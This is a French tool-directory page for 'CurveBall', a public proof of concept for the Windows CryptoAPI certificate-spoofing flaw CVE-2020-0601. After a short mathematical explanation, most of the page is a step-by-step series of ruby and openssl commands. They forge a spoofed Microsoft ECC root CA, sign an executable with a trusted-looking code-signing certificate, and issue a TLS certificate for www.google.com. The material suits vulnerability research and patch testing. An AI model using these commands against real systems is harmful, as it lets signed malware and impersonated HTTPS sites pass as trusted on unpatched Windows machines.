Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CurveBall — PoC pour CVE-2020-0601- Windows CryptoAPI (Crypt32.dll) | Kitploit
Outils/GitHubGitHub/ly4k/curveball
Analyse des VulnérabilitésAnalyse de CodeExploitationSécurité WebCryptographieApprentissage et Éducation
GitHubly4k/curveball

CurveBall

PoC pour CVE-2020-0601- Windows CryptoAPI (Crypt32.dll)

Voir le dépôt
889256il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CurveBall (CVE-2020-0601) - PoC

CVE-2020-0601, communément appelée CurveBall, est une vulnérabilité dans laquelle la signature des certificats utilisant la cryptographie à courbe elliptique (ECC) n'est pas correctement vérifiée.

L'ECC repose sur différents paramètres. Ces paramètres sont normalisés pour de nombreuses courbes. Cependant, Microsoft n'a pas vérifié tous ces paramètres. Le paramètre G (le générateur) n'était pas vérifié ; l'attaquant peut donc fournir son propre générateur, de sorte que lorsque Microsoft tente de valider le certificat auprès d'une autorité de certification (CA) de confiance, il ne cherche que les clés publiques correspondantes, puis utilise le générateur du certificat. La NSA explique l'impact de cette vulnérabilité et plus encore ici.

MicrosoftECCProductRootCertificateAuthority.cer est par défaut une autorité de certification racine (CA) de confiance utilisant l'ECC sur Windows 10. Tout ce qui est signé avec ce certificat sera donc automatiquement considéré comme fiable.

Configuration minimale requise openssl 1.1.0 ruby 2.4.0

Détails mathématiques

Si vous êtes intéressé par les détails mathématiques de la vulnérabilité, veuillez en lire plus ici.

Afin d'usurper le certificat, nous définissons les paramètres suivants :

root@kitploit:~
d' = 1
G' = Q

De telle sorte que Q = Q' = d'G'.

Utilisation

Créez un certificat avec la même clé publique et les mêmes paramètres qu'une CA de confiance. Il servira de CA usurpée. Définissez le générateur sur une valeur dont vous connaissez la clé privée. Vous pouvez facilement définir le générateur comme étant la clé publique et avoir une clé privée définie à 1, puisque Q = dG.

Ensuite, créez une demande de signature de certificat (CSR) avec les extensions que vous souhaitez utiliser, par exemple la signature de code ou l'authentification serveur.

Signez cette demande de certificat avec votre CA usurpée et la clé de la CA, puis ajoutez les extensions d'utilisation.

Regroupez la demande de certificat signée (désormais un certificat classique) avec la CA usurpée, et vous obtenez un certificat signé et de confiance.

Lorsque Windows vérifie si le certificat est fiable, il constate qu'il a été signé par notre CA usurpée. Il examine ensuite la clé publique de la CA usurpée pour la comparer aux CA de confiance. Puis il vérifie simplement la signature de notre CA usurpée avec le générateur de la CA usurpée — c'est là le problème.

Si vous choisissez d'ouvrir votre certificat nouvellement signé et de confiance dans Windows, il ne le reconnaîtra pas comme fiable, car il n'est lié à rien ; il n'utilisera donc pas la CA usurpée. Le certificat doit toujours se présenter accompagné de la CA usurpée.

Signature de code

Veuillez l'utiliser uniquement à des fins éducatives et de recherche.

Extrayez la clé publique de la CA et modifiez-la conformément à la vulnérabilité :

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Générez un nouveau certificat x509 basé sur cette clé. Ce sera notre propre CA usurpée.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Générez une nouvelle clé. Cette clé peut être de n'importe quel type. Elle servira à créer un certificat de signature de code, que nous signerons avec notre propre CA.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Ensuite, créez une nouvelle demande de signature de certificat (CSR). Cette demande est souvent envoyée à des CA de confiance, mais puisque nous en avons une usurpée, nous pouvons la signer nous-mêmes.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

Signez votre nouvelle CSR avec notre CA usurpée et la clé de la CA. Ce certificat expirera en 2047, tandis que la véritable CA de confiance de Microsoft expirera en 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

Il ne reste plus qu'à empaqueter le certificat, sa clé et la CA usurpée dans un fichier PKCS12 pour signer les exécutables.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

Signez votre exécutable avec le fichier PKCS12.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe

SSL/TLS

Veuillez l'utiliser uniquement à des fins éducatives et de recherche. Extrayez la clé publique de la CA et modifiez-la conformément à la vulnérabilité :

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Générez un nouveau certificat x509 basé sur cette clé. Ce sera notre propre CA usurpée.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Générez une nouvelle clé. Cette clé peut être de n'importe quel type. Elle servira à créer un certificat SSL, que nous signerons avec notre propre CA.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Ensuite, créez une nouvelle demande de signature de certificat (CSR). Cette demande est souvent envoyée à des CA de confiance, mais puisque nous en avons une usurpée, nous pouvons la signer nous-mêmes.

Si vous souhaitez changer le nom de domaine, modifiez CN = www.google.com en CN = www.example.com dans openssl_tls.conf.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

Signez votre nouvelle CSR avec notre CA usurpée et la clé de la CA. Ce certificat expirera en 2047, tandis que la véritable CA de confiance de Microsoft expirera en 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

Vous pouvez maintenant utiliser cert.crt, cert.key et spoofed_ca.crt pour servir votre contenu. N'oubliez pas non plus d'ajouter spoofed_ca.crt comme chaîne de certificats dans la configuration HTTPS de votre serveur.

Voir l'exemple d'utilisation dans tls/index.js.

Télécharger l’outil